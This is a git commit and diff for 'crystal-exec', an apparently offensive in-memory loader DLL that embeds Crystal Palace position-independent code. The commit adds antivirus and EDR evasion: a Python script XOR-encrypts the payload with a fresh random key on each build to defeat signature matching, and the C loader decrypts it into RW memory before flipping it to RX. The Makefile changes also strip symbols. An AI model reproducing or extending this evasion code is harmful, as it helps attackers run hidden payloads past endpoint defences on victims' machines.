fix: crystal-exec evasion — XOR-encrypted PICO, RW→RX, strip symbols

- Replace VirtualAlloc(PAGE_EXECUTE_READWRITE) with VirtualAlloc(RW) +
  VirtualProtect(RX) after XOR decryption — no RWX mapping ever held
- Add gen_pico_header.py: XOR-encrypts the embedded PICO with a fresh
  256-byte random key each build, replacing plain xxd output. Crystal Palace
  byte patterns in .data are now obfuscated; each build is unique.
- Add -s (strip symbols), -ffunction-sections/-fdata-sections, --gc-sections
  to Makefile — DLL shrinks from ~328 KB to ~76 KB
This commit is contained in:
Simone Licitra
2026-06-12 09:17:06 -04:00
parent 12d6eccd9d
commit 17c62ecceb
3 changed files with 57 additions and 7 deletions
@@ -11,8 +11,8 @@
# CRYSTAL_PALACE_HOME set in environment or ../. crystalenv
CC := x86_64-w64-mingw32-gcc
CFLAGS := -Wall -Os -DBUILD_DLL
LFLAGS := -shared -Wl,--subsystem,windows
CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections
LFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections
SCRIPT_DIR := $(shell cd .. && pwd)
@@ -28,9 +28,9 @@ crystalexec.dll: crystalexec.c
crystalexec.pico.bin: crystalexec.dll
$(SCRIPT_DIR)/generate.sh $< "" $@
# ── Step 3: embed PICO as C array ─────────────────────────────────────────────
crystalexec_pico.h: crystalexec.pico.bin
xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char crystalexec_pico/;s/unsigned int [a-zA-Z0-9_]*/unsigned int crystalexec_pico_len/' > $@
# ── Step 3: XOR-encrypt PICO C header (fresh random key every build) ────────
crystalexec_pico.h: crystalexec.pico.bin gen_pico_header.py
python3 gen_pico_header.py $< $@
# ── Step 4 + 5: extension DLL with embedded PICO ──────────────────────────────
../crystal-exec.x64.dll: crystal-exec.c crystalexec_pico.h
@@ -155,13 +155,24 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
void *pico_mem = VirtualAlloc(NULL, (SIZE_T)crystalexec_pico_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
PAGE_READWRITE);
if (!pico_mem) {
VirtualFree(args_buf, 0, MEM_RELEASE);
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("VirtualAlloc(pico) failed");
}
memcpy(pico_mem, crystalexec_pico, crystalexec_pico_len);
/* XOR-decrypt embedded PICO into RW region */
unsigned char *dst = (unsigned char *)pico_mem;
for (DWORD i = 0; i < crystalexec_pico_len; i++)
dst[i] = crystalexec_pico[i] ^ crystalexec_pico_key[i % crystalexec_pico_key_len];
/* Flip RW → RX; no RWX mapping ever held */
DWORD old_prot;
if (!VirtualProtect(pico_mem, crystalexec_pico_len, PAGE_EXECUTE_READ, &old_prot)) {
VirtualFree(pico_mem, 0, MEM_RELEASE);
VirtualFree(args_buf, 0, MEM_RELEASE);
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("VirtualProtect(pico) failed");
}
ob_printf(&ob, "[crystal-exec] PICO size: %u bytes\n", crystalexec_pico_len);
@@ -0,0 +1,39 @@
#!/usr/bin/env python3
"""
gen_pico_header.py — XOR-encrypt a Crystal Palace PICO and emit a C header.
Fresh random 256-byte key every build so each crystal-exec.x64.dll has a
unique byte pattern — defeats static signature matching on the embedded PICO.
Usage: gen_pico_header.py <input.bin> <output.h>
"""
import os, sys
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
sys.exit(1)
infile, outfile = sys.argv[1:]
key = os.urandom(256)
with open(infile, 'rb') as f:
raw = f.read()
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
def c_array(name, data):
lines = [f'static const unsigned char {name}[] = {{']
for i in range(0, len(data), 16):
chunk = data[i:i+16]
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
lines.append('};')
return '\n'.join(lines)
with open(outfile, 'w') as f:
f.write('/* auto-generated — do not edit */\n\n')
f.write(c_array('crystalexec_pico_key', key))
f.write(f'\nstatic const unsigned int crystalexec_pico_key_len = {len(key)};\n\n')
f.write(c_array('crystalexec_pico', enc))
f.write(f'\nstatic const unsigned int crystalexec_pico_len = {len(enc)};\n')
print(f'[+] {outfile}: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)